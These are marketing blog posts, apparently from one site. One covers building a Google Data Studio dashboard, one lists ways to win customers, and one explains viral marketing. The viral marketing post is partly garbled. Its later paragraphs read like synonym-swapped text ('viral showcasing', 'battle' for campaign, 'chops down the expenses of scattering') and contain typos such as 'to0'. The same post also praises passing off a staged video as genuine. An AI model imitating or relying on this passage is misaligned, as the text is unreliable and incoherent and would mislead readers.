    If you really want to understand the story behind your marketing data you need to create an outline of what your dashboard is going to look like. The more thought you invest in designing it the easier it will be to build it.

    You can outline your dashboard using tools like Figma, Sketch or Adobe XD. You can even use google drawings or free draw it using pen and paper.

  3. Connect your data source with the Google data studio dashboard

    Once you have created the outline design of your dashboard, the next step is to create a google data studio account. You can sign in with your existing Google account. Make sure you use the same Gmail address you use to log into your google analytics account

    The next step is to connect your data source. On the left navigation menu click new data source and then click the plus button. You can connect different type of data source connectors from Google and various 3rd party providers like Facebook, Reddit, Amazon etc.

    There is also an option to upload a CSV file, MySQL query, or custom JSON or XML file if you don’t find the right data source.

    For the purpose of this article, we’re going to use the google analytics data source. Click the google analytics data source and authorise your google account.

    Google Data Studio now generates all of the data fields. You have the option to search these fields as well as add new fields to the list. When you see the pop-up window below, click Add to Report to pull your data into your new dashboard so you can start working with it.

  4. Building your Google Data Studio Dashboard

    Google studio has a lot of default templates but for this example, we will go with the blank template and build it upon the design we made in the previous steps. Also Starting with a blank report is less work than trying to revise and rebuild an existing template.

    You can add many different charts, tables and scorecards to your dashboard. You can even upload your own images and embed your own HTML. If you have used a WYSIWYG builder, you will find that making charts on the dashboard is a very similar process.

    The first thing we do is to create a theme

    Next, click the Date Range toolbar button to add a date filter.

    Another common chart to add to your dashboard is the pie chart. For instance, you might use a pie chart to see the percentage of users who view your site from different web browsers

    Once you’ve created your marketing dashboard, you can share it the same way that you share Google sheets and docs.

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Marketing techniques to boost your customer base https://blog.codemarketing.com/marketing-techniques-to-boost-your-customer-base/ Sun, 02 Jun 2019 08:00:59 +0000 http://blog.codemarketing.com/?p=1185 In today’s day and age getting traffic to one’s business is both difficult and easier than it has ever been. With so many people having access to the internet there is so much outreach and customer targeting potential. But on the other hand, there are also many startups and other major companies competing for customer …

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In today’s day and age getting traffic to one’s business is both difficult and easier than it has ever been. With so many people having access to the internet there is so much outreach and customer targeting potential. But on the other hand, there are also many startups and other major companies competing for customer attention and competition has never been stiffer. And not to mention many global companies trying to make their way into local markets.

Here are some things you can do to beat the competition and reduce the impact of the negatives

  1. Asking for referrals

    It can be uncomfortable asking for referrals. Most of the time if your product/service is good and your customers are happy they will be more then happy to do so. Adding incentives also encourage customers to do so.

    Let’s say you have a service for which your customers pay a recurrent fee. Asking them to refer people by giving them the next month free could be seen as a good way to gain new customers and also keep the current ones happy.

    The key is having a strategy that makes it easy and beneficial for your current customers to refer people they know.

  2. Audience Targeting

    Places to find new customers are not unique and it’s a good bet that if you thought of a location to find new customers then its highly likely that your competition did as well. Try looking at other businesses who offer the same products/services as you do and see where they get their customers from. Once you’ve identified where your customer base lies you can move to the next step of creating creative and unique targeting strategies.

  3. Free Stuff

    The easiest way to get more people familiar with your business is to offer free and valuable stuff. Offering something for free allows people to familiarize themselves with your business and see what you offer. If they are happy with what you offer you can convert them into a paying customer. One way to offer free stuff is to offer a free trial period if you have a product or service.

    If you’re offering a free service you should let people know by posting on your website and on your social media channels. This can help by putting your name out there and expanding the number of people you reach.

  4. A ‘Spam-free’ website

    When people visit your website they expect to find information on what makes your company tick. Having a website with several pop-ups, spammy newsletter links and advertisements can hurt the way people look at your business and also it negatively affects the way search engines like google rank your website in search results.

    Make sure your website is clean and has relevant information pertaining to your business and your products/services. This will help keep customers on your page longer.

  5. Utilizing existing communities and creating your own

    There are many existing online communities like Facebook, Twitter, LinkedIn, Reddit etc. Each of these communities has people or groups that are centred around the topic your business or service is built upon. You should try to be an active member in such communities as they offer a good opportunity to introduce more people to your business and increase traffic.

    Posting regularly in these communities will help you understand your customer base, offer advice to others and also build a trust relationship between you and your potential customers. Also interacting with your customers will help you understand what they really look for in the product you’re offering and will help you decide where you should focus your time and resources into, which in time will be good for customer retention.

    Apart from the existing communities, you should try creating your own communities by interacting with your customers on your social media pages. Having a newsletter is also helpful as it gives you an opportunity to inform your loyal customers what’s happening in the business and also give them some special treating like discount codes, early access to products etc.

  6. Advertisements

    Ad’s in online communities usually have a negative association with them. But if done right they can generate a load of traffic for your business. Ad’s on social communities should be economically balanced, ie the value of the ads should be more than the money invested in them.

    A lot of the online social platforms have ways to target specific users with ads and also provide you with the metrics of your ad campaigns so you can make smart decisions with your ad strategies.

  7. Invest in customer experiences

    Especially when you’re a new company, take the time to work on how your customers experience your business. You might not see this as something worth investing in but treating your customers properly will turn them into loyal customers and in turn will spread a good message about your company and bring in more people through referrals. This can be done in many ways such as prompt service when the customer is facing difficulties, listening to and answering all their queries.

  8. Listening to your customers

    Whether you’re a startup or a global corporation, you still have to understand who your customers and their needs. You should try to understand what are the pain points the customer has with your service and you should try to make informed decisions in the future based on the feedback.No matter how much success you think you are having, understanding your users is always the most important and can help in creating a product that can drive traffic.

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Business to Consumer Marketing https://blog.codemarketing.com/business-to-consumer-marketing/ Sun, 10 Feb 2019 06:57:46 +0000 http://blog.codemarketing.com/?p=1162 Viral Marketing Marketing is a technique of selling or advertising that has existed in the world for ages since memorial. As contrary to what people think, many forms of marketing existed long ago and are still used in today’s are. However, since the inc-option o the internet, some other forms of advertisement emerged diversifying the …

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Viral Marketing
Marketing is a technique of selling or advertising that has existed in the world for ages since memorial. As contrary to what people think, many forms of marketing existed long ago and are still used in today’s are. However, since the inc-option o the internet, some other forms of advertisement emerged diversifying the many forms of marketing. Viral marketing is one of the forms of advertisement that came as an aftermath of the internet and has enabled firms to sell ideas and advertise products and services to the people. This article is meant to offer you a deep insight of Viral marketing for you to decide if it is the ideal marketing strategy for your business.

What is Viral Marketing?

Viral marketing is a business strategy that utilizes social networks to0 promote products. As the name depicts, it refers to the manner in which customers spread information about a particular product to the other people in the network, the same way a virus spreads from one person to another. Viral marketing existed before, and its form enabled by the physical spreading of information about something or a product through word of mouth from one person to another. Nowadays with the advent of modern technology, internet, and social media, viral marketing is spread through internet-based platforms. Viral marketing involves offering the audience with something of value for free, and it must be good enough to prompt the audience to share it through their networks with other people. The viral content could be videos, songs, funny advertisements among other interesting contents.

How Viral Marketing Works

There is a misunderstood concept of marketing where people think that the success of a viral marketing campaign depends on the readability of the intended message. That is not the case; a good viral marketing campaign needs to focus on the understanding of creating a positive connection with its targeted audience and presenting them with valuable content.
Viral marketing is a customer-focused approach and therefore before you set put to start a promotion campaign, there is something concerning the customer that you should be conversant.
To start with, you need to identify your targeted audience because it will save you a ton of advertising costs as well as enable you to use your resources effectively knowing where they are located.
Determine the value your audience derives most from products. With this manner of information, you can tailor your products to fulfill that specific desire and promote your products to seem to support the satisfaction of the intended customer.
Research and analyze the demographic data of the location occupied by your target audience. The demographic data is important for the purposes o planning and budgeting as it determines the area to cover the cost to cover and the means of viral marketing best to use with such a targeted audience. Moreover, it determines the most cost-effective avenue of viral marketing to implement.
In the manner in which viral marketing works, the faster the message spreads, the more likely the content is to go viral. In today’s viral marketing, messages shared via mobile technology have shown the great res-one of going viral because of the fast reaction speed to a message or a video, and the fact that mobile phones are ready on peoples palms and they can react very fast to a message.
Viral marketing is an interactive process that continues for a while, and marketing companies have to run various messages for people to react to until they find the right one that will go viral. The process of viral marketing is not easy and not most of the information will go viral.

Various modes of Viral Marketing

Viral marketing is spread on various platforms and through different networks, that include:

  1. Email
  2. Word of mouth
  3. Video sharing sites such as YouTube, Vimeo among others
  4. Social networking sites such as Instagram, Whats app, LinkedIn among other social media sites
  5. Web forums

Who is Viral Marketing appropriate?

Viral showcasing is valuable as an independent promoting apparatus or as a piece of a bigger battle that utilizes various sorts of advertising. It is particularly alluring to littler organizations or organizations because viral promoting can be a less expensive option in contrast to customary showcasing endeavours.

Another caffeinated drink organization, for instance, could make an Internet video including an individual who expends the caffeinated drink before playing out an unimaginable bike bounce. On the off chance that the video is made to look genuine, it might empower individuals who see it impart it to other people. After the video gets enough perspectives, the organization could uncover its actual reason, persuading its watchers to search out more data about the beverage while never utilizing a general notice.

Viral showcasing is regularly utilized related to different strategies for promoting, for example, on account of the Blair Witch Project. The viral part of the battle produced buzz about the story well before the arrival of advertisements, trailers, blurbs, and different types of customary promoting. This made numerous individuals as of now talk about the motion picture before it was formally reported to the general population.

Content does not need to be undercover to be viral. Political crusades regularly make recordings highlighting sound clasps of a contradicting hopeful saying something individuals may discover hostile. Government officials trust that by pointing out a ludicrous articulation, the video will become a web sensation and cause others to build up a negative disposition toward the focused on the rival.

Advantages of Viral Marketing

  1. Minimal effort. What portrays viral battles is that the clients complete a critical piece of the work for us, which radically chops down the expenses of scattering: it winds up superfluous to purchase promoting or space on the media.
  2. The capability of incredible reach. A viral video on the Internet can contact a tremendous worldwide gathering of people without us contributing cash or try. Because of this, a little organization or even a private individual can go incredibly far.
  3. It isn’t intrusive. In viral promoting, the choice to take an interest and offer dependably originates from the client. Thus it never seems to be intrusive. Like this, the impression of the brand and the association are fundamentally better, contrasted with increasingly traditional types of publicizing.
  4. It helps develop your image. On the off chance that we truly hit the bulls-eye regarding inventiveness, we are making content so staggering that clients themselves choose to share it and, thus making an individual association with your image. It is unmistakably a very incredible asset with regards to marking and mindfulness.

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